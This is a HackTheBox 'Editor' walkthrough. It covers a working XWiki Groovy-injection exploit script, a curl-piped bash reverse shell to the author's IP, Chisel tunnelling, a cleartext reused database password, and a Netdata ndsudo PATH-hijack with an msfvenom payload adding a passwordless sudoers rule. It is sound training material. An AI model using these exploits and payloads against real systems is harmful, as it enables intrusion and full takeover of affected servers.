HackTheBox | Editor

In this walkthrough, I demonstrate how I obtained complete ownership of Editor on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Easy Challenge
Owned Editor from Hack The Box!
I have just owned machine Editor from Hack The Box

Nmap Results

# Nmap 7.95 scan initiated Mon Aug  4 15:49:54 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.55.64
Nmap scan report for 10.129.55.64
Host is up (0.017s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open  http    Jetty 10.0.20
| http-methods: 
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
|_/xwiki/bin/undelete/
| http-webdav-scan: 
|   Server Type: Jetty(10.0.20)
|   WebDAV type: Unknown
|_  Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.129.55.64:8080/xwiki/bin/view/Main/
|_http-server-header: Jetty(10.0.20)
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug  4 15:50:19 2025 -- 1 IP address (1 host up) scanned in 25.14 seconds
đź’ˇ
Don't miss an opportunity to find some breadcrumbs and interesting information in the initial nmap scan output. We can see a HTTP redirect to editor.htb in the output for tcp/80. It also seems there's an alternate HTTP server on tcp/8080 which appears to be running some kind of wiki.
echo -e '10.129.55.64\t\teditor.htb' | sudo tee -a /etc/hosts

Add the hostname for the server to our /etc/hosts file





Service Enumeration

TCP/80

Walking the Application

Walking the “happy path” · Pwning OWASP Juice Shop
ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.

Base Domain

Both buttons point to files under the /assets/ directory

Wiki

The "Docs" link points to wiki.editor.htb, so let's add that to our hosts file as well
echo -e '10.129.55.64\t\twiki.editor.htb' | sudo tee -a /etc/hosts
đź’ˇ
Almost certainly what's happening here is the nginx server running on tcp/80 is configured with a virtual host listening for the wiki.editor.htb host. And, it proxy_pass traffic to tcp/8080. It's a little odd, because the server on tcp/8080 is directly exposed to users.
Same site, but navigating directly to tcp/8080
âś…
At this point, we've tested all of the clickable areas and input points that a normal user would be expected to use. We don't have a login for the Wiki, nor a way to register for one. Thus, we have concluded the initial walk of the application, and should go back and review our Burp / proxy request history as an initial first step to uncover potential findings.



Penetration Testing

Virtual Host Enumeration

gobuster vhost --domain 'editor.htb' --append-domain -w /usr/share/seclists/Discovery/DNS/namelist.txt -u 'http://10.129.55.64' -t 100 -o vhost.txt
Found: wiki.editor.htb Status: 302 [Size: 0] [--> http://wiki.editor.htb/xwiki]

Nothing new here...


Directory and File Enumeration

Base Domain
gobuster dir -u http://editor.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o dir.txt
/assets               (Status: 301) [Size: 178] [--> http://editor.htb/assets/]
gobuster dir -u http://editor.htb/assets -x deb,exe -d -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o dir.txt

Nothing found under the /assets/ directory


Wiki
⚠️
There seems to be some rate-limiting enabled on this server or it doesn't tolerate high-volume traffic that well. Skipping this one for now.

CVE Research

XWiki 15.10.8

Doing some research on potential CVEs for this version of XWiki, the project's GitHub contains a wealth of security reports.

Build software better, together
GitHub is where people build software. More than 150 million people use GitHub to discover, fork, and contribute to over 420 million projects.

Looking for the high / critical unauthenticated vulnerabilities, particularly RCE

Remote code execution as guest via SolrSearchMacros request
### Impact Any guest can perform arbitrary remote code execution through a request to `SolrSearch`. This impacts the confidentiality, integrity and availability of the whole XWiki installation.…

The target is in the vulnerable version range and this exploit only requires guest access!

Loading...

Click the JIRA issue link in the security advisory for more details...





Exploit

Understanding the Exploit

XWiki.org XWiki does not properly validate the "text" parameter. This parameter is used to create and execute a Solr query on the application's database. When requested with the "media" parameter equal to "rss", the "text" parameter is then rendered as part of the resulting RSS feed's title and description.

Because the backend application is Java based, and the input in the ?text= parameter is not validated, an unauthenticated attacker can inject Groovy script into said parameter, where it is executed remotely by the server.

Quote from the the GitHub security advisory
}}}{{async async=false}}{{groovy}}println("Hello from" + " search text:" + (23 + 19)){{/groovy}}{{/async}}    

Payload when URL-decoded

âś…
Indeed, the target is vulnerable. The Groovy engine on the server ran the println command and output the text along side the 23 + 19 arithmetic.



Reverse Shell

nano pwn.sh
ℹ️
We can pretty easily reuse this template and acquire a reverse shell by switching out the println contents with our own payload. The magic here is in the .execute() method, which runs the remote command stored in the $CMD variable, which in this case is a bash reverse shell.
#! /usr/bin/env bash

TARGET_URL='http://10.129.55.64:8080/xwiki/bin/get/Main/SolrSearch'

if [[ $# -lt 1 ]] ; then
    echo "Usage: $0 <RCE command>"
else
    CMD="$@"
    GROOVY_RCE_OPENER='}}}{{async async=false}}{{groovy}}'
    GROOVY_RCE_CLOSER='{{/groovy}}{{/async}}'
    GROOVY_CMD="def pwn = ['/bin/bash', '-c', '${CMD}'].execute().text;println pwn"
    GROOVY_RCE="${GROOVY_RCE_OPENER}${GROOVY_CMD}${GROOVY_RCE_CLOSER}"
    GROOVY_RCE_URLENCODED=$(echo "$GROOVY_RCE" | perl -pe 'chomp if eof' | jq -sRr @uri)
    EXPLOIT_URL="${TARGET_URL}?media=rss&text=${GROOVY_RCE_URLENCODED}"

    echo -e "\nUnencoded payoad:\n\n${GROOVY_RCE}"
    echo -e "\nSending exploit to URL:\n\n${EXPLOIT_URL}"
    echo -e "\nRCE Output:\n"

    curl -s "$EXPLOIT_URL" | 
    grep '}}}' | 
    cut -d '}' -f 4 | 
    cut -d ']' -f 1 |
    sed \
        -e 's/<br\/>/\n/g' \
        -e 's:<del>:--:g' \
        -e 's:</del>:--:g' \
        -e 's/&nbsp;/ /g' \
        -e 's/&lt;/</g' \
        -e 's/&gt;/>/g' 
fi

pwn.sh

Code Review:

  • TARGET_URL contains the base URL of the vulnerable endpoint
  • Check that the user is passing some arguments to the script
  • GROOVY_RCE_OPENER opens the Groovy script template
  • GROOVY_RCE_CLOSER closes the Groovy script template
  • GROOVY_RCE contains the command to be executed in a bash subshell remotely
  • GROOVY_RCE_URLENCODED URL encodes the entire payload
  • EXPLOIT_URL is the full URL and query string to exploit RCE
  • The sed expressions replace some HTML and HTML entities from the output for better formatting
echo "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.165/443 0>&1'" > rev.sh

Create a script containing a bash reverse shell that will be loaded by the target

sudo python3 -m http.server 80

Start a HTTP server that will host the rev.sh script

sudo rlwrap nc -lnvp 443

Start a TCP socket to catch the reverse shell when rev.sh is loaded and piped to bash

./pwn.sh 'curl http://10.10.14.165/rev.sh|bash'
The RCE curl fetches rev.sh and pipes to bash causing our reverse shell payload to execute





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Linux editor 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

Current User

uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
    
sudo: The "no new privileges" flag is set, which prevents sudo from running as root.
sudo: If sudo is running in a container, you may need to adjust the container configuration to disable the flag.



Users and Groups

Local Users

oliver:x:1000:1000:,,,:/home/oliver:/bin/bash
netdata:x:996:999:netdata:/opt/netdata:/usr/sbin/nologin

Local Groups

netdata:x:999:oliver
oliver:x:1000:
adm:x:4:syslog,netdata
proxy:x:13:netdata
docker:x:120:netdata
netdata:x:999:oliver



Network Configurations

Network Interfaces

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:b0:2a:90 brd ff:ff:ff:ff:ff:ff
    altname enp2s0
    altname ens32
    inet 10.129.55.64/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 2901sec preferred_lft 2901sec
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:27:72:b3:16 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever    

Open Ports

tcp   LISTEN     0      4096               127.0.0.1:19999               0.0.0.0:*                                                 
tcp   LISTEN     0      4096               127.0.0.1:8125                0.0.0.0:*
tcp   LISTEN     0      151                127.0.0.1:3306                0.0.0.0:*                                                  
tcp   LISTEN     0      4096               127.0.0.1:34241               0.0.0.0:*  

Routes

10.129.0.0/16 dev eth0 proto kernel scope link src 10.129.55.64 
172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 linkdown    





Privilege Escalation

Port Forwarding

Port Forwarding with C... | 0xBEN | Notes
Usage Requires a copy of the Chisel binary on: The target host The attacker’s host Download fr…

Download chisel and transfer to the target

sudo ./chisel server --reverse --port 8081

Start Chisel in server mode on Kali

/tmp/chisel client 10.10.14.165:8081 R:19999:127.0.0.1:19999 R:8125:127.0.0.1:8125 R:3306:127.0.0.1:3306 R:34241:127.0.0.1:34241 &

Forward the ports we found open earlier and run it in the background


TCP/3306

Right now, it seems obvious that we need to pivot to oliver, but we need a credential. Seeing tcp/3306 open on the box tells me there's a database management server running and it's probably tied to the XWiki app.

I asked ChatGPT where the DBMS configs for XWiki are and we've got a good starting point
find /usr/lib -name 'hibernate.cfg.xml'

/usr/lib/xwiki and /usr/lib/xwiki-jetty are ambiguous, so search from /usr/lib

The config file is at /usr/lib/xwiki/WEB-INF/hibernate.cfg.xml
grep -E 'jdbc:|username|password' /usr/lib/xwiki/WEB-INF/hibernate.cfg.xml
mysql -h 127.0.0.1 -u 'xwiki' -p'theEd1t0rTeam99' -D 'xwiki'

Run this command on Kali to connect over the Chisel socket

🚨
Try as I might, I could not get a password hash from the Database, so I did what I should have done earlier and tested to see if the password for the DBMS is repeated as Oliver's password.
ssh oliver@editor.htb



TCP/19999

Appears to be the netdata server that we found references to while enumerating
ℹ️
Clicking the red alert message shows that there may be potential security issues with the installed version.
Current version appears to be 1.45.2 with a critical severity, time to check for CVEs
ndsudo: local privilege escalation via untrusted search path
### Summary The `ndsudo` tool shipped with affected versions of the Netdata Agent allows an attacker to run arbitrary programs with root permissions. ### Details The `ndsudo` tool is packaged…

This came up in a Google search for CVEs

Now that we have a login for oliver, we are in the netdata group and can execute this binary



Becoming Root

Passwordless Sudo for Oliver

Using the suggestion of nvme in the security bulletin, we'll create a malicious nvme binary, update the $PATH variable so our malicious binary is loaded first, then trigger /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list to load our impostor file.


Create the Malicious Binary

ℹ️
We have to use a compiled binary here (and not a script) to abuse the SUID permissions on ndsudo, as it will drop SUID if you try to run a script named nvme.
msfvenom -p linux/x64/exec CMD="echo 'oliver        ALL=(ALL:ALL) NOPASSWD: ALL' > /etc/sudoers.d/oliver && chown root:root /etc/sudoers.d/oliver" PrependSetresuid='true' AppendExit='true' -f elf -o nvme

Must use PrependSetresuid='true' to retain SUID privileges when running our payload

echo 'oliver        ALL=(ALL:ALL) NOPASSWD: ALL' > /etc/sudoers.d/oliver && chown root:root /etc/sudoers.d/oliver

Executes these chained commands as root


Transfer to the Target

scp ./nvme oliver@editor.htb:/home/oliver/nvme
chmod +x ~/nvme

Stage and Run the Payload

cp ~/nvme /dev/shm/
export PATH=/dev/shm:$PATH
which nvme
PATH resolution is working as intended
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --test nvme-list
We can also confirm this by using the --test flag
Command appears to have run successfully

Verify New Sudo Privileges

Excellent! We have given ourselves sudo privileges to ANY command without a password!



Flags

User

801dc00847437791be391199800da8e1    

Root

1affd38e8927e2850d150347fd5e987e    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.